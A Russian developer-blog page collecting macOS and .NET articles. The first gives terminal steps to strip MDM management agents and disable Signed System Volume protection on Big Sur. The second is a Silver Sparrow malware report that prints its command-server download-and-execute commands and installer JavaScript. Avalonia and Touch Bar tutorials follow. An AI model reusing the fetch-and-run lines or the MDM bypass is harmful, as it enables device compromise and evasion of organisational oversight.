Русский
Русский
English
Статистика
Реклама

Разработка под macos

Отключение профиля MDM на Mac OS Big Sur

29.12.2020 12:11:44 | Автор: admin

Немного про MDM

MDM (англ. Mobile Device Management) профиль, как правило, устанавливается пользователям на устройства, которые выданы им крупными компаниями, а также некоторыми школами и университетами в пользование. MDM профиль позволяет автоматизировать настройку практически всех программных компонентов устройства. При этом он также позволяет полностью контролировать устройство дистанционно. Возможности контроля ограничены лишь фантазией администратора, который его настраивал.

Короче, в общем для компании - это хорошо, в частности для конкретного пользователя - не очень. Иногда совсем не хочется, чтобы кто-то мог в любой момент дистанционно выкинуть тебя из компьютера или просто его заблокировать.

MDM профиль устанавливается на заводе во время заказа партии для того или иного крупного заказчика и не может быть удален окончательно программно. Как правило, после полного сброса во время активации устройства профиль загружается из интернета и снова пробует себя развернуть на устройстве. Назойливость этих попыток может быть разной, и наша сегодняшняя задача избавиться от этого.

Решение с обходом MDM блокировки на Mac OS Catalina достаточно прямолинейное и без труда находится в интернете. С Big Sur все намного сложнее. В новой операционной системе реализован новый механизм защиты целостности системы. Поэтому весь алгоритм действий усложнился.

Установка чистой системы

Будем предполагать, что мы в состоянии сами установить чистую систему Mac OS Big Sur с флешки. В случае с MDM устройством главное правило - проводим чистую установку с отключенным интернетом, чтобы система не могла получить данные по имеющемуся MDM идентификатору.

После завершения установки к интернету подключаться можно. К сожалению, система тут же начнет предлагать загрузить и установить тот самый MDM профиль, который по ее мнению должен быть настроен в системе. Настойчивость таких предложений - примерно раз в 10 минут. Жить можно, но мы не согласны на полумеры.

Отключение MDM профиля

1. На устройстве должен быть снят пароль на включение и выключено шифрование диска:
Настройки -> Безопасность -> FileVault - выключить

2. Перезагружаемся в режиме восстановления:
Удерживаем (Command+R) во время загрузки до появления полосы загрузки.

3. В режите восстановления запускаем терминал:
"Утилиты" -> "Терминал"

4. Смотрим индентификатор тома:

mount

5. Если вы не трогали название разделов во время установки, то название по умолчания должно остаться "Macintosh HD". Здесь и далее будем использовать его.


Записываем на листик индентификатор тома "/Volumes/Macintosh HD"

Внимание! Не перепутать с диском "/Volumes/Macintosh HD - Data"
Идентификатор выглядит примерно так dev/disk4s5 - в вашем случае цифры могут быть другие.


Внимание! Индентификатор тома и название тома в последующих примерах команд подставляем свои!

6. Отключаем том и копируем файлы агентов в отдельную папку bak:

umount /Volumes/Macintosh\ HDmkdir /Volumes/Macintosh\ HDmount -t apfs -rw /dev/disk2s5 /Volumes/Macintosh\ HD cd /Volumes/Macintosh\ HD/System/Library/LaunchAgents mkdir bakmv com.apple.ManagedClientAgent.* bak/ mv com.apple.mdmclient.* bak/cd ../LaunchDaemons mkdir bakmv com.apple.ManagedClient.* bak/ mv com.apple.mdmclient.* bak/

7. Отключаем Signed System Volume (SSV):

csrutil authenticated-root disable

8. Сохраняем текущий статус диска в снепшот, чтобы система не ругалась на изменение системных файлов:

bless --folder /Volumes/Macintosh\ HD/System/Library/CoreServices --bootefi --create-snapshot

9. Закрываем терминал и перезагружаемся.

Готово. Агенты MDM профиля больше системой не видятся.


Обновления будут работать. Если сделать чистую переустановку - процедуру придется повторить сначала. Иногда фикс слетает после установки мажорных обновлений.

Работоспособность метода проверена на Mac OS Big Sur до версии 11.1.

Подробнее..

На 30 тысячах компьютеров с macOS нашли странный зловред, который ждёт команду

23.02.2021 10:12:21 | Автор: admin


Новая вредоносная программа Silver Sparrow (Серебряный воробей), обнаруженная почти на 30000 компьютерах Mac по всему миру, привлекла внимание специалистов по безопасности. Причин несколько. Во-первых, зловред поставляется в двух бинарниках, в том числе для процессора М1. Во-вторых, исследователи не могут понять цель злоумышленников.

Раз в час заражённые компьютеры проверяют контрольный сервер на предмет новых команд или двоичных файлов для выполнения:

curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.jsonplutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist<anchor>habracut</anchor>...curl $(/usr/libexec/PlistBuddy -c "Print :downloadUrl" /tmp/version.plist) --output /tmp/verxchmod 777 /tmp/verx/tmp/verx upbuchupsf

Но до сих пор никакой полезной нагрузки не доставлено ни на одну из 30 000 заражённых машин. Отсутствие полезной нагрузки предполагает, что вредоносное ПО может начать действовать, как только будет выполнено неизвестное условие.

Любопытно, что вредоносное ПО поставляется с механизмом полного удаления, который обычно используется в профессиональных разведывательных операциях. Однако до сих пор нет никаких признаков использования функции самоуничтожения, что ставит вопрос о том, зачем этот механизм.

Помимо этих вопросов, вредоносная программа примечательна наличием бинарника для чипа M1, представленного в ноябре 2020 года. Это всего лишь вторая известная вредоносная программа macOS для M1. Двоичный файл ещё более загадочен, потому что для выполнения команд использует JavaScript API установщика macOS. Это затрудняет анализ содержимого установочного пакета или того, как этот пакет использует команды JavaScript. После установки зловред запускается командой system.run.

function bash(command) {         system.run('/bin/bash', '-c', command)    }    function appendLine(line, file)    {        bash(`printf "%b\n" '${line}' >> ${file}`)    }    function appendLinex(line, file)    {        bash(`"echo" ${line} >> ${file}`)    }    function appendLiney(line, file)    {        bash(`printf "%b" '${line}' >> ${file}`)    }


Silver Sparrow поставляется в двух версиях одна с двоичным кодом в формате mach-object, скомпилированным для процессоров Intel x86_64, а другая с двоичным кодом Mach-O для M1

Malware version 1
File name: updater.pkg (installer package for v1)
MD5: 30c9bc7d40454e501c358f77449071aa

Malware version 2
File name: update.pkg (installer package for v2)
MD5: fdd6fb2b1dfe07b0e57d4cbfef9c8149

Командный сервер
hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json

После исполнения Silver Sparrow оставляет два скрипта на заражённом диске: /tmp/agent.sh и ~/Library/Application Support/verx_updater/verx.sh.

Вредоносная программа обнаружена в 153 странах, преимущественно в США, Великобритании, Канаде, Франции и Германии. Использование Amazon Web Services и сети доставки контента Akamai обеспечивает надёжную работу командной инфраструктуры, а также затрудняет блокировку серверов. Зловред открыли исследователи из компании Red Canary.

Хотя для Silver Sparrow ещё не вышло никакой полезной нагрузки, его считают достаточно серьёзной угрозой. Программа уже сильно распространилась, она совместима с процессорами М1 и выполнена на очень высоком техническом уровне: Silver Sparrow представляет собой достаточно серьёзную угрозу, для доставки потенциально эффективной полезной нагрузки в любой момент, пишут исследователи Red Canary в своём блоге. Учитывая эти причины для беспокойства, в духе прозрачности мы хотели как можно скорее поделиться всей информацией с индустрией информационной безопасности.

До сих пор исследователи не встречали зловреды подобного типа. Этот экземпляр они назвали 'bystander binary', то есть бинарник-наблюдатель. Любопытно, что при выполнении двоичный файл x86_64 отображает слова Hello World!, а бинарник M1 выдаёт You did it!. Исследователи подозревают, что файлы являются некими заполнителями, передают что-то установщику. Компания Apple отозвала сертификат разработчика для обоих бинарников.

Silver Sparrow всего лишь вторая вредоносная программа, написанная нативно для нового чипа Apple M1. Первым стал рекламный зловред GoSearch22 на прошлой неделе.

Нативный код M1 работает на новой платформе быстрее и надёжнее, чем код x86_64, потому что не нуждается в трансляции. Многие разработчики обычных приложений macOS до сих пор не завершили процесс перекомпиляции для M1.

После установки Silver Sparrow ищет, с какого URL был загружен установочный пакет, чтобы операторы ботнета знали, какой канал распространения наиболее эффективен. Пока остаётся неясным, как именно и где распространяется вредоносное ПО и как оно устанавливается. Однако проверка успешных URL предполагает, что одним каналом распространения может быть поисковая выдача, то есть установщики, скорее всего, выдают себя за законные приложения.

Одна из самых впечатляющих вещей в Silver Sparrow количество заражённых ею компьютеров Mac. Коллеги из Malwarebytes обнаружили, что Silver Sparrow установлен на 29139 конечных точках macOS по состоянию на 17февраля 2021 года. Это значительное достижение.

И это только компьютеры, доступные для антивируса MalwareBytes, так что реальное число намного выше. Это ещё раз показывает, что вредоносное ПО для macOS становится всё более распространённым и обычным явлением, несмотря на все усилия Apple, говорит Патрик Уордл (Patrick Wardle), эксперт по безопасности macOS.
Подробнее..

Авалония для самых маленьких

26.11.2020 12:17:06 | Автор: admin
В свежем превью Rider, помимо прочего, появилась поддержка Авалонии. Авалония это самый крупный .NET фреймворк для разработки кроссплатформенного UI, и его поддержка в IDE отличный повод наконец разобраться, как писать десктопные приложения для любых платформ.

В этой статье я на примере простой задачи по реализации калькулятора покажу:

  • как управлять разметкой,
  • как связывать функциональность с компонентами,
  • как управлять стилями.



Подготовка


Для работы я использовал:


Единственным обязательным инструментов в этом списке является сам дотнет. Остальное можете выбирать сами: любимую операционную систему и IDE (например, тот же Rider).
Для инициализации проекта мы воспользуемся шаблонами .NET приложений для Авалонии. Для этого нам потребуется клонировать репозиторий с шаблонами, а затем установить скачанные шаблоны:

git clone https://github.com/AvaloniaUI/avalonia-dotnet-templates.gitdotnet new --install /path/avalonia-dotnet-templates/

Типы проектов Авалонии
Типы проектов

Теперь, когда шаблоны установлены, мы можем создать новый проект на основе MVVM шаблона Авалонии:

dotnet new avalonia.mvvm -o ACalc

Перейдем в директорию проекта и обновим все версии пакетов на самые новые (на момент написания статьи):

dotnet add package Avalonia --version 0.10.0-preview6dotnet add package Avalonia.Desktop --version 0.10.0-preview6dotnet add package Avalonia.ReactiveUI --version 0.10.0-preview6

Давайте внимательнее посмотрим на структуру проекта, сгенерированную шаблоном:

image

  • В папке Assets хранятся ресурсы, используемые нами в данном проекте. На текущий момент там лежит лого Авалонии, использующееся в качестве иконки приложения.
  • В папку Model мы будем складывать все общие модели, используемые в нашем приложении. На текущий момент она пуста.
  • Папка ViewModels предназначена для хранения логики, которая будет использоваться в каждом из окон. Прямо сейчас в этой папке хранится ViewModel главного окна и базовый класс для всех ViewModel.
  • В папке Views хранится разметка окон (а также code behind файл, в который хоть и можно положить логику, но лучше для этих целей использовать ViewModel). На текущий момент у нас есть только главное окно.
  • App.xaml общий конфиг приложения. Несмотря на то, что он и выглядит как еще одно окно, на самом деле, этот файл служит для задания общих настроек приложения.
  • ViewLocator нам в этот раз не пригодится, так как он используется для создания кастомных контролов. Подробнее о нем можно почитать в документации Авалонии.

Запустим наше приложение командой dotnet run.



Теперь все готово для разработки.

Разметка


Начнем с создания базовой разметки. Перейдем в файл Views/MainWindow.xaml там будет храниться разметка главного окна нашего калькулятора.



В данный момент наша разметка состоит из базовых параметров окна (размеров, иконки и заголовка) и одного блока с текстом. Давайте заменим этот блок с текстом на Grid, который будет служить скелетом нашей разметки. Этот контрол разложит все элементы по порядку, один за другим.

Итак, заменим TextBlock на пустой Grid:

<Grid></Grid>

А теперь подготовим основу нашей разметки. Для начала укажем, сколько строк нужно нашему приложению и какой они должны быть высоты:

<Grid>    <Grid.RowDefinitions>        <RowDefinition Height="auto"></RowDefinition>        <RowDefinition Height="auto"></RowDefinition>        <RowDefinition Height="*"></RowDefinition>    </Grid.RowDefinitions></Grid>

Теперь заполним разметку основными компонентами добавим строку меню, базовый экран и вложенный Grid для блока клавиш:

<Grid>    <Grid.RowDefinitions>        <RowDefinition Height="auto"></RowDefinition>        <RowDefinition Height="auto"></RowDefinition>        <RowDefinition Height="*"></RowDefinition>    </Grid.RowDefinitions>    <!--строка меню-->    <Menu>    </Menu>    <!--Импровизированный экран нашего калькулятора-->    <TextBlock>    </TextBlock>    <!--Grid для клавиш-->    <Grid></Grid></Grid>

Отдельно остановимся на расположении клавиш в сетке.
Для начала нужно описать количество строк и столбцов в нашем Grid. А после разложить кнопки по соответствующим им строкам и столбцам, указав их координаты.

<Grid>    <Grid.RowDefinitions>        <RowDefinition></RowDefinition>        <RowDefinition></RowDefinition>        <RowDefinition></RowDefinition>        <RowDefinition></RowDefinition>        <RowDefinition></RowDefinition>    </Grid.RowDefinitions>    <Grid.ColumnDefinitions>        <ColumnDefinition></ColumnDefinition>         <ColumnDefinition></ColumnDefinition>         <ColumnDefinition></ColumnDefinition>         <ColumnDefinition></ColumnDefinition>         <ColumnDefinition></ColumnDefinition>    </Grid.ColumnDefinitions>    <Button Grid.Row="0" Grid.Column="0">1</Button></Grid>

Стоит отметить, что элементы внутри Grid могут занимать несколько ячеек. Для этого используются параметры ColumnSpan и RowSpan:

 <Button Grid.Row="3" Grid.Column="3" Grid.ColumnSpan="2">=</Button>

Остальные кнопки добавляются аналогично, поэтому готовую разметку можно посмотреть сразу в репозитории проекта.

Последнее, что нам осталось сделать это задать параметры окна. Установим стартовые и минимальные размеры окна (они задаются в корневом элементе Window).

MinHeight="300"MinWidth="250"Height="300"Width="250"

После добавления всех элементов разметки наше окно калькулятора будет выглядеть так:



Основной функционал


С разметкой закончили, пора реализовать логику!

Начнем с добавления в папку Models нового Enum, который описывает возможные операции:

public enum Operation{    Add,    Subtract,    Multiply,    Divide,    Result}

Теперь перейдем в класс ViewModel/MainWindowViewModel. Здесь будет храниться основная функциональность нашего приложения.

Добавим в файл несколько приватных полей, с которыми мы будем работать:

private double _firstValue;private double _secondValue;private Operation _operation = Operation.Add;

Теперь реализуем основные методы:

  • AddNumber добавляет новую цифру к числу.
  • ExecuteOperation выполняет одну из операций, описанных в енаме Operation.
  • RemoveLastNumber удаляет последнюю введенную цифру.
  • ClearScreen очищает экран калькулятора.

Не будем останавливаться на реализации этих методов, в этом нет никакой специфики для Авалонии (реализацию вы можете посмотреть в репозитории проекта). Единственное, что нас интересует это то, что помимо перечисленных выше приватных полей, эти методы также оперируют публичным свойством ShownValue. О нем чуть позже.

Связывание


Теперь, когда у нас готовы и разметка, и логика, пора связать их друг с другом.
В Авалонию по умолчанию включен Reactive UI это фреймворк, предназначенный как раз для связывания View и Model при использовании MVVM. Подробнее о нем вы сможете прочитать на официальном сайте и в документации Авалонии. Конкретно сейчас нас интересует возможность фреймворка обновлять View при изменении данных.

Для хранения актуального значения, выводимого на экране, реализуем свойство ShownValue:

public double ShownValue{    get => _secondValue;    set => this.RaiseAndSetIfChanged(ref _secondValue, value);}

Получаемое из этого свойства значение будет выводиться на дисплее нашего калькулятора, а метод RaiseAndSetIfChanged позаботится о вызове уведомления при изменении значения свойства.

Привяжем это свойство к созданному на этапе разметки текстовому полю:

<TextBlock Grid.Row="1" Text="{Binding ShownValue}" />

Благодаря директиве Binding и методу RaiseAndSetIfChanged значение свойства Text в этом поле будет обновляться при каждом изменении значения свойства ShownValue.

Теперь добавим в MainWindowViewModel еще три публичных свойства для команд. Команды являются обертками вокруг функций, которые будут вызываться определенными действиями на UI.

public ReactiveCommand<int, Unit> AddNumberCommand { get; }public ReactiveCommand<Unit, Unit> RemoveLastNumberCommand { get; }public ReactiveCommand<Operation, Unit> ExecuteOperationCommand { get; }

Команды нужно инициализировать в конструкторе класса, связав их с соответствующими методами:

public MainWindowViewModel(){    AddNumberCommand = ReactiveCommand.Create<int>(AddNumber);    ExecuteOperationCommand = ReactiveCommand.Create<Operation>(ExecuteOperation);    RemoveLastNumberCommand = ReactiveCommand.Create(RemoveLastNumber);}

Теперь обновим разметку кнопок. Например, для клавиши Backspace новая разметка будет выглядеть так:

<Button Grid.Row="3" Grid.Column="2" Command="{Binding RemoveLastNumberCommand}"></Button>

Несколько сложнее дела обстоят с номерными кнопками и кнопками операций. Для них мы должны передать в качестве параметра вводимую цифру или операцию. Для этого в корневом теге Window нам нужно добавить пространство имен System:

xmlns:s="clr-namespace:System;assembly=mscorlib"

А затем обновить разметку кнопок, добавив в них связанный метод и параметр:

<Button Grid.Row="0" Grid.Column="0" Command="{Binding AddNumberCommand}">    <Button.CommandParameter>        <s:Int32>1</s:Int32>    </Button.CommandParameter>     1</Button>

После того, как мы аналогичным образом обновим все остальные кнопки, функциональность калькулятора будет полностью готова к работе.



Стили


Итак, логика нашего калькулятора полностью реализована, но его визуальная сторона оставляет желать лучшего. Самое время поиграться со стилями!

В Авалонии есть три способа управлять стилями:

  • настроить стили внутри компонента,
  • настроить стили в рамках окна,
  • подключить пакет стилей.

Пройдемся по каждому из них.

Начнем с настройки стилей внутри конкретного компонента. Очевидный претендент на точечные изменения это экран нашего калькулятора. Давайте увеличим для него размер шрифта и перенесем текст вправо.

<TextBlock Grid.Row="1" Text="{Binding ShownValue}" TextAlignment="Right" FontSize="30" />

Теперь поиграемся со стилями в рамках окна. Здесь мы можем изменить вид всех компонентов определенного типа. Например, можно немного раздвинуть кнопки.

<Window.Styles>    <Style Selector="Button">        <Setter Property="Margin" Value="5"></Setter>     </Style></Window.Styles>

Как видите, конкретные компоненты, к которым применяется стиль, можно выбирать при помощи селектора. Больше о селекторах вы можете прочитать в документации Авалонии.

После применения изменений выше наше окно будет выглядеть так



Чтобы упростить себе жизнь, можете воспользоваться готовым пакетом стилей. Давайте, к примеру, подключим для нашего калькулятора стиль Material. Для этого добавим соответствующий nuget пакет:

dotnet add package Material.Avalonia --version 0.10.3

А теперь обновим файл App.xaml и укажем в нем используемый пакет стилей и его параметры.

<Application ...             xmlns:themes="clr-namespace:Material.Styles.Themes;assembly=Material.Styles"             ...>    <Application.Resources>        <themes:BundledTheme BaseTheme="Dark" PrimaryColor="Purple" SecondaryColor="Amber"/>    </Application.Resources>    <Application.Styles>        <StyleInclude Source="avares://Material.Avalonia/Material.Avalonia.Templates.xaml" />    </Application.Styles></Application>

Установленный пакет обновит визуальный стиль нашего приложения, и теперь оно будет выглядеть так:



Такие же пакеты стилей можно создавать самостоятельно их можно использовать внутри вашего проекта или распространять в виде пакета на nuget. Больше информации о стилях и способах управления ими можно найти в документации.

Заключение


В этой статье мы разобрали самый простой пример использования Авалонии, но функционал этого фреймворка куда шире, и он растет с каждым днем. Помимо неоднократно упомянутой мной документации, вы также можете спросить совета в русскоязычном чате, посвященном Авалонии, или прямо здесь в комментариях.
А еще много интересного про Авалонию и .NET UI можно будет послушать на онлайн-митапе от Контура, который пройдет сегодня, в пять по Москве.

Все исходники проекта вы можете найти в репозитории на Github.

На этом все! Оставайтесь на связи, мы вернемся со статьями о более продвинутых возможностях Авалонии.
Подробнее..

От WPF к Авалонии

16.02.2021 12:20:24 | Автор: admin

WPF любимый сообществом фреймворк для десктопной разработки, однако в то время как дотнет и вся его экосистема уже давно кроссплатформенные, WPF работает только под Windows. Сообщество решило эту проблему и теперь у нас есть Авалония фреймворк, во многом очень похожий на WPF, но работающий на разных платформах.

Под катом мы разберем отличия Авалонии от WPF. Что нужно знать людям, переходящим с WPF на Авалонию? В чем преимущества нового фреймворка, а в чем его недостатки по сравнению с WPF?

Стили

На первый взгляд, стили в Авалонии выглядят точно также, как и в WPF они задаются в блоке Styles с помощью селекторов и сеттеров. Первые выбирают набор блоков, к которым применяются стили, вторые задают непосредственно стили. Давайте сравним два одинаковых стиля в WPF и Авалонии:

<Style TargetType="TextBlock">  <Setter Property="HorizontalAlignment" Value="Center" />  <Setter Property="FontSize" Value="24"/></Style>
<Style Selector="TextBlock"><Setter Property="HorizontalAlignment" Value="Center" /><Setter Property="FontSize" Value="24"/></Style>

Как видите, в данном фрагменте различается только объявление тега Style в WPF для выбора целевого блока используется параметр TargetType, а в Авалонии - Selector. Однако селекторы в Авалонии куда мощнее, чем TargetType в WPF. Больше всего они напоминают селекторы из CSS с классами, псевдоклассами и кастомными обращениями.

Например, вот так мы можем задать размер шрифта для всех текстовых блоков с классом h1

<Styles>  <Style Selector="TextBlock.h1">    <Setter Property="FontSize" Value="24"/>  </Style></Styles><TextBlock Classes="h1">Header</TextBlock>

Псевдоклассы позволяют нам выбирать элементы в определенном состоянии когда они в фокусе, когда на них наведена мышь, когда чекбокс выбран и так далее. В WPF подобное реализовывалось через триггеры (стиль изменялся, когда активировалось некоторое событие), однако подход через псевдоклассы выглядит более удобным и современным.

<Styles>  <Style Selector="Button:pointerover">    <Setter Property="Button.Foreground" Value="Red"/>  </Style></Styles><Button>I will have red text when hovered.</Button>

И, конечно же, селекторы в Авалонии позволяют гибко выбирать целевые контролы для стилей через цепочки дочерних элементов, по совпадению нескольких классов, по шаблонам и по значениям определенных свойств. Опять же, это очень похоже на селекторы в CSS. Например, вот так мы можем выбрать кнопку, являющуюся прямым наследником элемента с классом block, имеющую значение свойства IsDefault = true:

.block > Button[IsDefault=true]

Полный список доступных селекторов и их описания вы можете найти в документации Авалонии.

Обновленный синтаксис XAML

Как и в случае со стилями, синтаксис XAML не слишком сильно отличается от WPF. Объявление контролов, параметры, биндинги все выглядит по-прежнему. Однако некоторые отличия все же есть синтаксис стал более емким и понятным, а где-то добавились новые возможности. Посмотрим на изменения по порядку.

Начнем с упрощений в синтаксисе. Самый простой пример такого упрощения это объявление строк и столбцов в Grid. Классическое, привычное с WPF объявление будет выглядеть следующим образом:

<Grid>  <Grid.RowDefinitions>    <RowDefinition Height="*"></RowDefinition>    <RowDefinition Height="Auto"></RowDefinition>    <RowDefinition Height="32"></RowDefinition>  </Grid.RowDefinitions></Grid>

Этот код будет отлично работать и в Авалонии, однако, помимо полного варианта объявления, добавился и сокращенный.

<Grid RowDefinitions="*,Auto,32,"/>

Упростилось и подключение зависимостей в XAML файлах. Теперь clr-namespace можно заменить на using. Такое изменение позволяет сделать подключение сторонних библиотек короче и читаемее.

Было: xmlns:styles="clr-namespace:Material.Styles;assembly=Material.Styles"

Стало: xmlns:styles="using=Material.Styles"

Другое любопытное изменение это вынесение DataTemplates и Styles в отдельные теги. Раньше они размещались внутри Resources.

<UserControl xmlns:viewmodels="clr-namespace:MyApp.ViewModels;assembly=MyApp">  <UserControl.DataTemplates>    <DataTemplate DataType="viewmodels:FooViewModel">      <Border Background="Red" CornerRadius="8">        <TextBox Text="{Binding Name}"/>      </Border>    </DataTemplate>  </UserControl.DataTemplates>  <UserControl.Styles>    <Style Selector="ContentControl.Red">      <Setter Property="Background" Value="Red"/>    </Style>  </UserControl.Styles><UserControl>

Важные изменения произошли и в биндингах. Авалония позволяет связывать между собой элементы разметки, прибегая только к свойствам XAML. Достаточно обратиться к источнику зависимости, используя # и имя элемента. Например, вот такой код привяжет значение поля other к значению поля source.

<TextBox Name="source"/><!-- Binds to the Text property of the "source" control --><TextBlock Name=other Text="{Binding #source.Text}"/>

Конструкция $parent позволяет обращаться к родительским компонентам.

<Border Tag="Hello World!">  <TextBlock Text="{Binding $parent.Tag}"/></Border>

Кстати, такое обращение поддерживает индексирование. Иначе говоря, конструкция $parent[1] позволит вам обратиться к родителю родителя вашего компонента. А конструкция $parent[0] эквивалентна $parent.

Помимо индексов здесь также можно использовать обращение по типу. $parent[Border] позволит вам обратиться к первому предку с типом Border. А еще такое обращение можно совместить с индексированием.

<Border Tag="Hello World!">  <Border>    <Decorator>      <TextBlock Text="{Binding $parent[Border;1].Tag}"/>    </Decorator>  </Border></Border>

В WPF аналогичную функцию выполняет свойство RelativeSource, однако RelativeSource завязано на визуальном дереве элементов, а не на логическом. Подробнее почитать о разнице вы можете в этой статье.

Небольшие изменения также коснулись конвертеров. Один из самых популярных конвертеров, логическое отрицание, был реализован в виде синтаксиса в XAML коде.

<StackPanel>  <TextBox Name="input" IsEnabled="{Binding AllowInput}"/>  <TextBlock IsVisible="{Binding !AllowInput}">Sorry, no can do!</TextBlock></StackPanel>

Кстати, этот конвертер использует метод Convert.ToBoolean для преобразования значений, что позволяет писать код такого вида:

<Panel>  <ListBox Items="{Binding Items}"/>  <TextBlock IsVisible="{Binding !Items.Count}">No results found</TextBlock></Panel>

А еще конвертер поддерживает множественное использование, что позволяет преобразовывать не-булевские значения в boolean с помощью двойного отрицания.

<Panel>  <ListBox Items="{Binding Items}" IsVisible="{Binding !!Items.Count}"/></Panel>

Я бы не рекомендовал использовать такой трюк, однако множественное применение конвертеров может пригодиться, когда в Авалонии реализуют синтаксическую поддержку для других конвертеров. Теоретически вы можете сделать это сами, но на практике это достаточно сложно и никак не документировано.

Помимо синтаксической поддержки, Авалония дает пользователю несколько дефолтных конвертеров. Для них не реализован никакой специфический XAML синтаксис, так что они используются как обычные конвертеры.

<TextBlock Text="{Binding MyText}" IsVisible="{Binding MyText, Converter={x:Static StringConverters.IsNotNullOrEmpty}}"/>

И последняя возможность, которую хочется упомянуть, относится к проблемам кроссплатформенности. Видели вот это меню в macOS?

Подобные элементы это вечная головная боль кроссплатформенных приложений. На маках такое меню есть, а на винде нет. А в Linux есть, но не везде, только в некоторых оконных менеджерах.

Для работы с такими меню в девятой версии Авалонии реализовали компонент NativeMenu. По умолчанию, даже без добавления NativeMenu в приложение, Авалония будет генерировать меню с базовыми пунктами как раз они и представлены на скриншоте. А для добавления новых пунктов как раз и используется NativeMenu.

<Application>  <NativeMenu.Menu>    <NativeMenu>      <NativeMenuItem Header="About MyApp" Command="{Binding AboutCommand}" />    </NativeMenu>  </NativeMenu.Menu></Application>

Декларативный UI via F#

Несмотря на все улучшения и упрощения для XAML, многим он кажется громоздким и избыточным, поэтому все большую популярность набирают разнообразные декларативные DSL.

Сообщество Авалонии разработало отличную библиотеку Avalonia.FuncUI, позволяющую вам писать UI на Авалонии в декларативном стиле. Получающийся код напоминает реализацию UI с помощью Elm или Jetpack Compose.

module Counter =    type CounterState = {    count : int  }  let init = {    count = 0  }  type Msg =  | Increment  | Decrement      let update (msg: Msg) (state: CounterState) : CounterState =   match msg with    | Increment -> { state with count =  state.count + 1 }    | Decrement -> { state with count =  state.count - 1 }  let view (state: CounterState) (dispatch): IView =    DockPanel.create [      DockPanel.children [        Button.create [          Button.onClick (fun _ -> dispatch Increment)          Button.content "click to increment"        ]        Button.create [          Button.onClick (fun _ -> dispatch Decrement)          Button.content "click to decrement"         ]        TextBlock.create [          TextBlock.dock Dock.Top          TextBlock.text (sprintf "the count is %i" state.count)        ]      ]    ]

Такая стилистика пока не стала чем-то общепринятым кому-то привычнее XAML, а кто-то считает FuncUI громоздким по сравнению с конкурентами. В любом случае, это интересная опция, которая для многих может быть более удобной и понятной.

Недостатки

Перейдем к самому интересному а что же не так с Авалонией в сравнении с WPF?

Если смотреть на функциональность, то Авалония не только приобрела новые фичи, но и потеряла некоторые возможности WPF. Например, в Авалонии из коробки отсутствуют триггеры (обсуждение этой фичи можно найти в репозитории Авалонии, а пока триггеры можно использовать с помощью пакета AvaloniaBehaviors), не работают биндинги через стили и так далее.

Другая проблема это экосистема. Так как Авалония куда моложе WPF и имеет значительно меньшую аудиторию, вокруг Авалонии пока не выстроилась богатая экосистема со множеством стилей и кастомных контролов. Да и гигантских платных UI фреймворков вроде DevExpress пока не появилось. Аналогичные сложности и с инструментами разработки они есть, и поддержка становится все лучше, однако пока что отстает по качеству от WPF.

Ну и самая заметная проблема, о которой говорят многие это отсутствие гарантий. Авалония это инструмент, создаваемый исключительно сообществом, что не слишком-то привычно для .NET разработчиков. За ним не стоит Microsoft или какая-то другая крупная компания. В этих условиях многим не хочется рисковать, надеясь на open source продукт кто знает, вдруг завтра мейнтейнер потеряет интерес, и разработка встанет? Однако это же дает вам возможность заметно влиять на развитие Авалонии, исправляя существующие проблемы и предлагая новые фичи.

Заключение

Подводя итог можно сказать, что Авалония это осовремененная версия WPF. Синтаксис чуть полегче, стили современнее, да и в целом фреймворк подталкивает к использованию современных подходов вроде реактивного программирования и декларативного DSL.

Компенсация за это типичный набор проблем молодого опенсорсного инструмента. Кое-какие фичи не реализованы, экосистема бедновата, да и качественная поддержка в будущем не гарантирована. Так или иначе, это несет и преимущества в виде возможности заметно влиять на будущее Авалонии.

Если вам нравится этот фреймворк не стесняйтесь активно участвовать в его разработке. Пишите предложения в репозитории, участвуйте в дискуссиях, правьте найденные баги и общайтесь с сообществом в телеграме Авалонии.

И, конечно же, подписывайтесь на наш блог на Хабре мы уже готовим следующую статью про Авалонию. А на сегодня все, оставайтесь на связи.

Подробнее..

Пошаговый урок как начать делать что угодно на Touch Bar

10.05.2021 18:20:09 | Автор: admin

Я не Swift разработчик, и даже не objc. У меня просто был и есть Mac с навороченной вставкой в виде Touch Bar для которой захотелось сделать кастомизацию.

Эта статья покажет всем не iOS разработчикам как можно НАЧАТЬ создавать простые приложухи (развлекательного или полезного характера) для Touch Bar с самых первых этапах.

Притупим к делу :

  1. Открываем xCode > Create a new project -> App

    Пример заполнения формы. Важно выбрать Storyboard, так как работать мы будем именно с ней.Пример заполнения формы. Важно выбрать Storyboard, так как работать мы будем именно с ней.

    Существует несколько путей создания своего приложения для ios, один из них визуальное програмирования с использованием Storyboard, это когда вы не пишете условно говоря :

    view.attend(newElement(slider))

    А просто добавляете этот самый newElement(slider) на ваш Storyboard и потом программируете viewController используя обьект.

    Заканчиваем создание проекта и видим такую структуру :

    Такая структураТакая структура
  2. Переходим в Main.storyboard и видим развертку нашего приложения и что с чем коммуницирует, наблюдаем и точку входа. Но нам это сейчас неважно, кликаем на Windows окошко.

    Окошко Окошко
  3. Добавляем новый элемент в правом верхнем углу xCode есть жирний плюсик, вот туда тыкаем и ищем "NsTouchBar" и добавляем этот перетягиванием на Window. Теперь у нашего приложения есть свой Touch Bar.

    Если мы прямо сейчас запустим приложение, пройдёт время компиляции и мы увидим пустой Touch Bar.

    Тут важно что элементы справа, так же называемые Control Strip, будут присутствовать так как это часть private api macOs, что бы её менять нужно применять reverse engineering, на этом туториале такой задачи не стоит.

  4. Что бы добавить элементы на наш тачбар пишем "NsTouchBar Button" и Enter, нам нужно две кнопки. На одну мы повесим вывод изображения, другая будет триггером.
    Поэтому следющим этапом берем обычный ImageView и перетаскиваем прямо на одну из кнопок.

    На этом шаге такой результат должен получится :

    Our storyboard, yolo!Our storyboard, yolo!
  5. Далее нужно создать класс WindowController и добавить его к обработчику Storyboard.
    Нажимаем в строке меню, File -> New -> File -> Cocoa Class

    Создание обработчика. Важно указать в качестве Subclass : NsWindowController!Создание обработчика. Важно указать в качестве Subclass : NsWindowController!

    Что такое Cocoa, грубо говоря либа для разработки, которая по моим скромным иследованием не очень просто дружит с UISwift, ещё одним мощным иструментом разработки, который в свою очередь противоположен Storyboard.

  6. Далее нужно подключить наш обработчик, к обработчику Storyboard :

    1. Открываем Storyboard

    2. Выбираем Window Controller Scene в меню сцен Storyboard > Window Controller

    3. Открываем Inspectors > Identity Inspector

    4. Выбираем наш WindowController в качестве Custom class.

